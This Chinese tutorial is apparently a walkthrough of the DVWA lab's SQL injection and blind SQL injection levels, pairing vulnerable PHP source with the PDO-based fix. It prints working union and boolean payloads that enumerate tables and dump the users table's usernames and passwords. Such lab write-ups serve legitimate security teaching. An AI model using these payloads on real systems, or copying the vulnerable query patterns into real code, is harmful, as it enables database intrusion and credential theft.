文章目录

  • 6.SQL Injection
    • 6.1、low
    • 6.2、medium-mysqli_real_escape_string
    • 6.3、high
    • 6.4、impossiable
  • 7.SQL Injection(Blind)
    • 7.1、low
    • 7.2、medium
    • 7.3、high
    • 7.4、impossiable

6.SQL Injection

参考链接:DVWA SQL Injection 通关教程

6.1、low


$_REQUEST请求方式,单引号闭合,且无过滤,因此可以直接进行union注入。、


可见列名为2.

爆数据库名称与用户名称

-1' union select database(),user() #


爆数据库中的表名

-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #


爆指定表中的列名

-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'#

-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='guestbook‘ #


获取字段的值

-1' union select group_concat(user),group_concat(password) from users #

6.2、medium-mysqli_real_escape_string

语法:mysqli_real_escape_string(connection,escapestring);

参数 描述
connection 必需。规定要使用的 MySQL 连接。
escapestring 必需。要转义的字符串。编码的字符是 NUL(ASCII 0)、\n、\r、\、’、" 和 Control-Z。

POST请求方式,字符型闭合,还添加了一个过滤的字符函数mysqli_real_escape_string()。

6.3、high


请求方式为$_ SESSION,单引号闭合,无过滤。

可以看到,与Low Secuity Level的代码相比,Medium Secuity Level的只是在SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。虽然添加了LIMIT 1,但是我们可以通过#将其注释掉。

1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

6.4、impossiable

采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,同时只有返回的查询结果数量为一时,才会成功输出,这样就有效预防了”脱裤”,Anti-CSRFtoken机制的加入了进一步提高了安全性。

<?php
/*Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,*/
if( isset( $_GET[ 'Submit' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$id = $_GET[ 'id' ];// Was a number entered?if(is_numeric( $id )) {// Check the database$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );print_r($db);$data->bindParam( ':id', $id, PDO::PARAM_INT );$data->execute();$row = $data->fetch();// Make sure only 1 result is returnedif( $data->rowCount() == 1 ) {// Get values$first = $row[ 'first_name' ];$last  = $row[ 'last_name' ];// Feedback for end user$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}}
}// Generate Anti-CSRF token
generateSessionToken();?>

7.SQL Injection(Blind)

参考文献:DVWA SQL Injection(Blind) 通关教程
作者:御用闲人

7.1、low

<?phpif( isset( $_GET[ 'Submit' ] ) ) {// Get input$id = $_GET[ 'id' ];// Check database$getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors// Get results$num = @mysqli_num_rows( $result ); // The '@' character suppresses errorsif( $num > 0 ) {// Feedback for end user$html .= '<pre>User ID exists in the database.</pre>';}else {// User wasn't found, so the page wasn't!header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );// Feedback for end user$html .= '<pre>User ID is MISSING from the database.</pre>';}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}?>

由源码可见,与上面的显错注入源码类似,均没有进行参数过滤,且闭合方式也为单引号闭合;但是在这里并不会输出数据库的数据与数据库的报错提示,只会显示输入的id是否在数据库中。如下图。

在这里我们可以利用布尔注入逐个猜解数据库名的每个字母。例如:

1' and ascii(substr(database(),1,1))>97#

7.2、medium

利用mysqli_real_escape_string函数对特殊符号\x00,\n,\r,,’,”,\x1a进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。

闭合方式为数字型。

7.3、high

利用cookie传递参数id,当SQL查询结果为空时,会执行函数sleep(seconds),目的是为了扰乱基于时间的盲注。同时在SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。

<?phpif( isset( $_COOKIE[ 'id' ] ) ) {// Get input$id = $_COOKIE[ 'id' ];// Check database$getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors// Get results$num = @mysqli_num_rows( $result ); // The '@' character suppresses errorsif( $num > 0 ) {// Feedback for end user$html .= '<pre>User ID exists in the database.</pre>';}else {// Might sleep a random amountif( rand( 0, 5 ) == 3 ) {sleep( rand( 2, 4 ) );}// User wasn't found, so the page wasn't!header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );// Feedback for end user$html .= '<pre>User ID is MISSING from the database.</pre>';}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}?>

7.4、impossiable

采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,Anti-CSRF token机制的加入了进一步提高了安全性。

<?phpif( isset( $_GET[ 'Submit' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$id = $_GET[ 'id' ];// Was a number entered?if(is_numeric( $id )) {// Check the database$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );$data->bindParam( ':id', $id, PDO::PARAM_INT );$data->execute();// Get resultsif( $data->rowCount() == 1 ) {// Feedback for end user$html .= '<pre>User ID exists in the database.</pre>';}else {// User wasn't found, so the page wasn't!header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );// Feedback for end user$html .= '<pre>User ID is MISSING from the database.</pre>';}}
}// Generate Anti-CSRF token
generateSessionToken();?>

DVWA攻略-03-SQL显错or 盲注相关推荐

  1. PyInstaller天坑终极攻略(PyInstaller莫名报错?面对错误信息无从下手?全网找不到解决方法?面对PyInstaller中的那些莫名天坑不如和我一起手动打包python解释器和项目)

    PyInstaller天坑终极攻略 PyInstaller莫名报错?面对错误信息无从下手?翻遍全网找不到解决方法?面对PyInstaller中的那些莫名天坑不如和我一起手动打包python解释器和项目 ...

  2. sql显错注入靶机演示

    sql注入漏洞作为web层面最高危的漏洞之一,本文将手动演示sql显错注入的整体流程 注:禁止用于实战 那么开始正文部分,首先打开我们的靶场猫舍 http://cntj8003.ia.aqlab.cn ...

  3. SQL注入--报错和盲注

    目录 报错注入 floor函数报错注入 extractvalue()函数报错注入 updatexml()函数报错注入 盲注 布尔盲注 时间盲注 报错注入 文章内容篇幅较长,请认真研读 回顾之前的文章( ...

  4. sql注入学习——布尔盲注

    前言:之前通过前九关学习到了回显注入.报错注入等一些方法,这次就来详细的学习布尔盲注. 首先来了解一下盲注的概念 盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL ...

  5. SQL注入学习——Bool盲注详解 sqli-labs(Less 8)

    文章目录 前言: 一.Bool盲注常用的函数: 二.Less8 布尔型单引号GET盲注 1.查数据库版本 2.猜解数据库的长度 3.猜数据库名字 4.猜解表名 5.猜解字段名 6.猜解数据 三.脚本注 ...

  6. 05_SQL注入_功能语句报错注入盲注

    05_SQL注入_功能语句&报错回显&盲注 1. SQL 语句和网站功能 1.1 Web开发中常见语句 [本章代码来源于pikachu和sqli-lab中的靶场] 开发中,根据不同的需 ...

  7. mysql注入 无回显_33. 注入信息无回显?(给盲注戴上眼镜)

    注入信息无回显?(给盲注戴上眼镜) 工具简介: 平常的漏洞检测或漏洞利用需要进一步的用户或系统交互.但是一些漏洞类型没有直接表明攻击是成功的.如Payload触发了却不在前端页面显示.(像ssrf,X ...

  8. DVWA通过攻略之SQL注入

    目录 1.SQL Injection SQL注入 2.实验演示 2.1.low 2.3.high 2.4.impossible 3.sqlmap自动化注入 3.1.low 3.2.medium 3.3 ...

  9. SQL Server 2005 Express 远程连接 客户端 远程访问 设置 全攻略 (适用 SQL Server 2005 其他版本)

    SQL Server 2005 Express 是微软提供的数据库的低端解决方案, 可免费任意随产品分发, 可以在XP等非专业服务器系统下安装, 还可以远程访问, 对于小型数据应用程序已足够满足数据使 ...

最新文章

  1. 【系统平台】模拟器-通道-模型-图形配置
  2. mysql查询活跃连接,mysql – 使用大量可能的连接进行查询的最佳方法
  3. android多渠道 依赖,android 不同渠道 添加不同依赖jar 使用不同代码
  4. BackTrack5 安装中文输入法
  5. 【kubernetes系列】Pod篇实战操作
  6. 吃的苦中苦,方为人上人!
  7. 一道常被人轻视的前端JS面试题
  8. 百度区块链 xuperchain 节点端 tps统计脚本
  9. C++/ python 计算硬币正面朝上的概率
  10. 【数字信号调制】基于matlab GUI数字信号调制仿真平台【含Matlab源码 880期】
  11. 计算机无法安装应用,电脑没法安装软件?教您解决电脑没法安装软件
  12. CorelDRAW X7 X8 2017 2018是什么关系?
  13. html5朋友圈评论代码,微信朋友圈评论隐藏文字,超级好玩
  14. 自定义数据类型的指针的含义
  15. OverFeat 个人总结
  16. 七夕送女友什么礼物有意义、送女朋友实用的七夕礼物清单
  17. 【C语言经典100题】乒乓球队的比赛
  18. Android设备刷Device-owner说明
  19. 学习周报20200216 | 学习计划安排整理
  20. word 如何将页面设置为50行(任意行)

热门文章

  1. 皮得.林奇 成功投资
  2. Java 延时实现(订单超时等)
  3. 常用Linux Shell命令
  4. Objective-C 编程艺术 (Zen and the Art of the Objective-C Craftsmanship 中文翻译)
  5. 最小生成树——Highways(普利姆算法结合对于父亲节点标记)
  6. 终于有人把辛普森悖论讲明白了
  7. 荣获创新奖,人大金仓携多款硬核产品亮相CITE2022
  8. 用Python大声说出“我爱你”
  9. BUUCTF【Web】Knife
  10. Python:实现factorial阶乘算法(附完整源码)